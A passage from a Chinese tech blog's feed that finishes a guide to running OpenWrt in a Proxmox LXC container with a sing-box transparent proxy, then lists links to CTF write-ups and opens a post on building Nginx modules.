class="string">&quot;/etc/os-release file not found and autodetection failed, falling back to &#x27;unmanaged&#x27;\n&quot;</span>;</span><br><span class="line">        <span class="built_in">return</span> <span class="string">&quot;unmanaged&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>

<p>额外的安装配置：</p>
<ul>
<li>特权容器（不配置会导致 openwrt 的 dnsmasq 启动异常，貌似和 ujail 相关，参见 <a href="https://forum.openwrt.org/t/openwrt-22-03-0-rc1-first-release-candidate/126045/196">openwrt-22-03-0-rc1-first-release-candidate</a>）</li>
<li>swap 0</li>
<li>ram 512</li>
<li>磁盘大小 1G</li>
<li>4 core</li>
<li>关闭防火墙（我也不知道有没有必要，反正顺手点了避免吃屎）</li>
</ul>
<p>此外还有一些别的配置：</p>
<ul>
<li>开机自启动</li>
<li>功能中除了无特权其它全部开启（其实主要是创建设备节点？不开不知道有没有问题，反正我没测）</li>
</ul>
<p>由于配置的透明代理期望使用 TUN 来实现，因此需要将主机的 &#x2F;dev&#x2F;tun 挂载进容器，参考自 <a href="https://pve.proxmox.com/wiki/OpenVPN_in_LXC">OpenVPN_in_LXC</a></p>
<p>修改 <code>/etc/pve/lxc/100.conf</code> （其中 100 为容器 id），并添加如下语句：</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">lxc.cgroup2.devices.allow: c 10:200 rwm</span><br><span class="line">lxc.mount.entry: /dev/net/tun dev/net/tun none bind,create=file</span><br></pre></td></tr></table></figure>

<p>随后只需要启动 openwrt，并在 PVE 控制台中配置其 ip 和网关（参考自 <a href="https://openwrt.org/docs/guide-user/network/openwrt_as_routerdevice">openwrt_as_routerdevice</a>）。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">uci <span class="built_in">set</span> network.lan.ipaddr=<span class="string">&quot;192.168.2.3&quot;</span></span><br><span class="line">uci <span class="built_in">set</span> network.lan.gateway=<span class="string">&quot;192.168.2.1&quot;</span></span><br><span class="line">uci <span class="built_in">set</span> network.lan.dns=<span class="string">&#x27;114.114.114.114&#x27;</span></span><br><span class="line">uci commit network</span><br><span class="line">/etc/init.d/network restart</span><br></pre></td></tr></table></figure>

<p>配完网后可以安装一些常用的包来方便管理：</p>
<ul>
<li>tmux</li>
<li>luci-i18n-base-zh-cn</li>
<li>ip-full # 完整的 ip，支持管理 tuntap 设备等</li>
</ul>
<p>web 界面：</p>
<p><img data-src="/2022/10/play-with-hp-t430/img/openwrt-web.png" alt="openwrt-web"></p>
<p>此外还需要在 web 中进行如下设置：</p>
<p>在 <code>接口-&gt;LAN-&gt; DHCP 服务器</code> 中设置 <code>忽略此接口</code>，从而避免网络中存在两个 DHCP server。</p>
<p>在 <code>防火墙</code> 中将 <code>Forward</code> 设置为 <code>accpet</code>，不然 sing-box 无法处理其它机器路由来的流量，并会在内核日志中提示 <code>netlink: &#39;sing-box&#39;: attribute type 22 has an invalid length.</code>（参考资料：<a href="https://github.com/SagerNet/sing-box/issues/100">issue 100</a>）</p>
<h3 id="配置主路由"><a href="#配置主路由" class="headerlink" title="配置主路由"></a>配置主路由</h3><p>其实主路由的配置很简单，只需要在 DHCP 中设置通告的网关地址和 dns 地址即可（3 表示网关，6 表示 DNS 服务器，参考自 <a href="https://www.iana.org/assignments/bootp-dhcp-parameters/bootp-dhcp-parameters.xhtml">bootp-dhcp-parameters</a>）</p>
<p><img data-src="/2022/10/play-with-hp-t430/img/main-router.png" alt="main-router"></p>
<h3 id="基于-sing-box-tun-模式的软路由配置"><a href="#基于-sing-box-tun-模式的软路由配置" class="headerlink" title="基于 sing-box tun 模式的软路由配置"></a>基于 sing-box tun 模式的软路由配置</h3><p>之前手机上一直使用 SagerNet 作为科学上网工具，其魔改了 v2ray-core 并添加了许多的协议支持，为此之前我也 fork 了一份 <a href="https://github.com/plusls/Qv2ray/pulls">Qv2ray</a> 对其进行了简单的适配。后来发现 Project S 项目新出了一个 sing-box，貌似可以作为 v2ray 的替代品（clash 是什么，不熟不熟），因此决定采用其来配置透明代理</p>
<p>我本身有个 vless+ws+nginx tls+cf 的服务端配置，只需要替换 v2ray 的 vless 为 trojan（因为看文档描述 vless 貌似将会废弃）即可：</p>
<figure class="highlight json"><table><tr><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;inbounds&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;trojan&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;listen&quot;</span><span class="punctuation">:</span> <span class="string">&quot;127.0.0.1&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;listen_port&quot;</span><span class="punctuation">:</span> <span class="number">10000</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;users&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                <span class="punctuation">&#123;</span></span><br><span class="line">                    <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;your-name&quot;</span><span class="punctuation">,</span></span><br><span class="line">                    <span class="attr">&quot;password&quot;</span><span class="punctuation">:</span> <span class="string">&quot;your-password&quot;</span></span><br><span class="line">                <span class="punctuation">&#125;</span></span><br><span class="line">            <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;transport&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ws&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;path&quot;</span><span class="punctuation">:</span> <span class="string">&quot;/your-path&quot;</span></span><br><span class="line">            <span class="punctuation">&#125;</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">]</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure>

<p>PS：下载时我还疑惑了一下 amd64 和 amd64v3 是个啥区别，差了一下发现是 golang 针对新的 x86 cpu 做了一些特定优化，只有在新的 cpu 上才能使用，亲测 t430 只能使用 amd64。</p>
<p>openwrt 侧的透明代理配置如下：</p>
<figure class="highlight json"><table><tr><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;log&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;disabled&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;level&quot;</span><span class="punctuation">:</span> <span class="string">&quot;panic&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;timestamp&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;dns&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;servers&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">            <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;tag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;cloudflare&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;address&quot;</span><span class="punctuation">:</span> <span class="string">&quot;tls://1.1.1.1&quot;</span></span><br><span class="line">            <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;tag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;local&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;address&quot;</span><span class="punctuation">:</span> <span class="string">&quot;https://223.5.5.5/dns-query&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;detour&quot;</span><span class="punctuation">:</span> <span class="string">&quot;direct-out&quot;</span></span><br><span class="line">            <span class="punctuation">&#125;</span></span><br><span class="line">        <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;rules&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">            <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;domain_suffix&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                    <span class="string">&quot;qiangdong.xyz&quot;</span><span class="punctuation">,</span></span><br><span class="line">                    <span class="string">&quot;cookies97.com&quot;</span></span><br><span class="line">                <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;domain_keyword&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                    <span class="string">&quot;plusls&quot;</span></span><br><span class="line">                <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;geosite&quot;</span><span class="punctuation">:</span> <span class="string">&quot;cn&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;server&quot;</span><span class="punctuation">:</span> <span class="string">&quot;local&quot;</span></span><br><span class="line">            <span class="punctuation">&#125;</span></span><br><span class="line">        <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;strategy&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ipv4_only&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;inbounds&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;tun&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;tag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;proxy-auto-in&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;inet4_address&quot;</span><span class="punctuation">:</span> <span class="string">&quot;172.114.0.1/31&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;auto_route&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;sniff&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line">        <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;socks&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;tag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;direct-in&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;listen&quot;</span><span class="punctuation">:</span> <span class="string">&quot;::&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;listen_port&quot;</span><span class="punctuation">:</span> <span class="number">1088</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;tcp_fast_open&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;sniff&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;users&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="punctuation">]</span></span><br><span class="line">        <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;socks&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;tag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;proxy-in&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;listen&quot;</span><span class="punctuation">:</span> <span class="string">&quot;::&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;listen_port&quot;</span><span class="punctuation">:</span> <span class="number">1089</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;tcp_fast_open&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;sniff&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;users&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="punctuation">]</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;outbounds&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;trojan&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;tag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;jp-out&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;server&quot;</span><span class="punctuation">:</span> <span class="string">&quot;server_name&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;server_port&quot;</span><span class="punctuation">:</span> <span class="number">443</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;password&quot;</span><span class="punctuation">:</span> <span class="string">&quot;plusls&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;network&quot;</span><span class="punctuation">:</span> <span class="string">&quot;tcp&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;tls&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;enabled&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;server_name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;server_name&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;utls&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">                    <span class="attr">&quot;enabled&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span></span><br><span class="line">                    <span class="attr">&quot;fingerprint&quot;</span><span class="punctuation">:</span> <span class="string">&quot;chrome&quot;</span></span><br><span class="line">                <span class="punctuation">&#125;</span></span><br><span class="line">            <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;transport&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ws&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;path&quot;</span><span class="punctuation">:</span> <span class="string">&quot;/your-path-name&quot;</span></span><br><span class="line">            <span class="punctuation">&#125;</span></span><br><span class="line">        <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;trojan&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;tag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;us-out&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;server&quot;</span><span class="punctuation">:</span> <span class="string">&quot;server_name&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;server_port&quot;</span><span class="punctuation">:</span> <span class="number">443</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;password&quot;</span><span class="punctuation">:</span> <span class="string">&quot;plusls&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;network&quot;</span><span class="punctuation">:</span> <span class="string">&quot;tcp&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;tls&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;enabled&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;server_name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;server_name&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;utls&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">                    <span class="attr">&quot;enabled&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span></span><br><span class="line">                    <span class="attr">&quot;fingerprint&quot;</span><span class="punctuation">:</span> <span class="string">&quot;chrome&quot;</span></span><br><span class="line">                <span class="punctuation">&#125;</span></span><br><span class="line">            <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;transport&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ws&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;path&quot;</span><span class="punctuation">:</span> <span class="string">&quot;/your-path-name&quot;</span></span><br><span class="line">            <span class="punctuation">&#125;</span></span><br><span class="line">        <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;shadowsocks&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;tag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;hgc-out&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;server&quot;</span><span class="punctuation">:</span> <span class="string">&quot;server_name&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;server_port&quot;</span><span class="punctuation">:</span> <span class="number">46887</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;method&quot;</span><span class="punctuation">:</span> <span class="string">&quot;chacha20-ietf-poly1305&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;password&quot;</span><span class="punctuation">:</span> <span class="string">&quot;password&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;plugin&quot;</span><span class="punctuation">:</span> <span class="string">&quot;obfs-local&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;plugin_opts&quot;</span><span class="punctuation">:</span> <span class="string">&quot;obfs=tls;obfs-host=833c936905.microsoft.com&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;tcp_fast_open&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line">        <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;direct&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;tag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;direct-out&quot;</span></span><br><span class="line">        <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;block&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;tag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;block-out&quot;</span></span><br><span class="line">        <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;dns&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;tag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;dns-out&quot;</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;route&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;rules&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">            <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;protocol&quot;</span><span class="punctuation">:</span> <span class="string">&quot;dns&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;outbound&quot;</span><span class="punctuation">:</span> <span class="string">&quot;dns-out&quot;</span></span><br><span class="line">            <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;geosite&quot;</span><span class="punctuation">:</span> <span class="string">&quot;category-ads-all&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;outbound&quot;</span><span class="punctuation">:</span> <span class="string">&quot;block-out&quot;</span></span><br><span class="line">            <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;inbound&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                    <span class="string">&quot;proxy-in&quot;</span></span><br><span class="line">                <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;outbound&quot;</span><span class="punctuation">:</span> <span class="string">&quot;jp-out&quot;</span></span><br><span class="line">            <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;inbound&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                    <span class="string">&quot;direct-in&quot;</span></span><br><span class="line">                <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;outbound&quot;</span><span class="punctuation">:</span> <span class="string">&quot;direct-out&quot;</span></span><br><span class="line">            <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;geosite&quot;</span><span class="punctuation">:</span> <span class="string">&quot;cn&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;geoip&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                    <span class="string">&quot;cn&quot;</span><span class="punctuation">,</span></span><br><span class="line">                    <span class="string">&quot;private&quot;</span></span><br><span class="line">                <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;outbound&quot;</span><span class="punctuation">:</span> <span class="string">&quot;direct-out&quot;</span></span><br><span class="line">            <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;domain_suffix&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                    <span class="string">&quot;qiangdong.xyz&quot;</span><span class="punctuation">,</span></span><br><span class="line">                    <span class="string">&quot;cookies97.com&quot;</span></span><br><span class="line">                <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;domain_keyword&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                    <span class="string">&quot;plusls&quot;</span></span><br><span class="line">                <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;outbound&quot;</span><span class="punctuation">:</span> <span class="string">&quot;direct-out&quot;</span></span><br><span class="line">            <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;inbound&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                    <span class="string">&quot;proxy-auto-in&quot;</span></span><br><span class="line">                <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;outbound&quot;</span><span class="punctuation">:</span> <span class="string">&quot;jp-out&quot;</span></span><br><span class="line">            <span class="punctuation">&#125;</span></span><br><span class="line">        <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;auto_detect_interface&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure>

<p>其中 dns rule 中的关键字 plusls 和两个域名是为了过滤出代理的域名，让其直接走直连的 dns,从而避免产生查询回环，1088 和 1089 两个 socks 代理则对应了 <strong>强制直连</strong> 和 <strong>强制代理</strong>，运行 sing-box 后其会自动创建 tun 设备并设置 ip 和路由，十分方便。</p>
<p>为了方便其自启动，可以添加 <code>/etc/init.d/sing-box</code> 作为服务：</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/sh /etc/rc.common</span></span><br><span class="line"></span><br><span class="line">USE_PROCD=1</span><br><span class="line">START=95</span><br><span class="line">STOP=15</span><br><span class="line"></span><br><span class="line">CONFIG_PATH=<span class="string">&quot;/root/sing-box/sing-box.json&quot;</span></span><br><span class="line">SING_BOX_PATH=<span class="string">&quot;/root/sing-box/sing-box&quot;</span></span><br><span class="line">WORKING_PATH=<span class="string">&quot;/root/sing-box&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">start_service</span></span>() &#123;</span><br><span class="line">    procd_open_instance</span><br><span class="line">    procd_set_param <span class="built_in">command</span> sh -c <span class="string">&quot;<span class="variable">$SING_BOX_PATH</span> run -c <span class="variable">$CONFIG_PATH</span> -D <span class="variable">$WORKING_PATH</span>&quot;</span> </span><br><span class="line">    procd_set_param file <span class="variable">$CONFIG_PATH</span> <span class="comment"># when file change, auto run /etc/init.d/your_service reload</span></span><br><span class="line">    procd_set_param stdout 1 <span class="comment"># forward stdout to logd</span></span><br><span class="line">    procd_set_param stderr 1 <span class="comment"># same for stderr</span></span><br><span class="line">    procd_set_param pidfile /var/run/sing-box.pid</span><br><span class="line">    procd_close_instance</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>随后为其设置可执行权限以及开机自启动：</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">chmod</span> +x /etc/init.d/sing-box</span><br><span class="line">service sing-box <span class="built_in">enable</span></span><br><span class="line">service sing-box restart</span><br></pre></td></tr></table></figure>]]></content>
      <categories>
        <category>2022</category>
        <category>10</category>
      </categories>
      <tags>
        <tag>openwrt</tag>
        <tag>proxy</tag>
        <tag>pve</tag>
        <tag>linux</tag>
        <tag>t430</tag>
        <tag>sing-box</tag>
      </tags>
  </entry>
  <entry>
    <title>[0CTF-2018] writeup-list</title>
    <url>/ctf/0ctf-2018/writeup-list/</url>
    <content><![CDATA[<h2 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h2><h2 id="PWN"><a href="#PWN" class="headerlink" title="PWN"></a>PWN</h2><p>babystack: <a href="/ctf/0ctf-2018/pwn/babystack/">[0CTF-2018] babystack</a></p>
<p>blackhole: <a href="/ctf/0ctf-2018/pwn/blackhole/">[0CTF-2018] blackhole</a></p>
<span id="more"></span>

<h2 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h2><h2 id="MISC"><a href="#MISC" class="headerlink" title="MISC"></a>MISC</h2><h2 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h2>]]></content>
      <categories>
        <category>ctf</category>
        <category>writeup</category>
        <category>0ctf-2018</category>
      </categories>
  </entry>
  <entry>
    <title>[XDCTF-2017] writeup-list</title>
    <url>/ctf/xdctf-2017/writeup-list/</url>
    <content><![CDATA[<h2 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h2><p>destory : <a href="/ctf/xdctf-2017/reverse/destory/">[XDCTF-2017] destory</a></p>
<p>Stealer : <a href="/ctf/xdctf-2017/reverse/stealer/">[XDCTF-2017] Stealer</a></p>
<span id="more"></span>

<h2 id="PWN"><a href="#PWN" class="headerlink" title="PWN"></a>PWN</h2><p>easyeasy : <a href="/ctf/xdctf-2017/pwn/easyeasy/">[XDCTF-2017] easyeasy</a></p>
<h2 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h2><p>基础之Base64 : <a href="/ctf/xdctf-2017/crypto/base64/">[XDCTF] 基础之Base64</a></p>
<h2 id="MISC"><a href="#MISC" class="headerlink" title="MISC"></a>MISC</h2><h2 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h2>]]></content>
      <categories>
        <category>ctf</category>
        <category>writeup</category>
        <category>xdctf-2017</category>
      </categories>
  </entry>
  <entry>
    <title>Nginx 编译第三方动态模块</title>
    <url>/linux/nginx/compile-nginx-dynamic-modules/</url>
    <content><![CDATA[<p>最近尝试用 nginx 搭建某网站的反代, 但是 nginx 内置的功能无法替换 html 内的链接, 最后考虑用 nginx 的第三方模块 <a href="https://github.com/yaoweibin/ngx_http_substitutions_filter_module">ngx_http_substitutions_filter_module</a> 来实现链接替换的功能。</p>
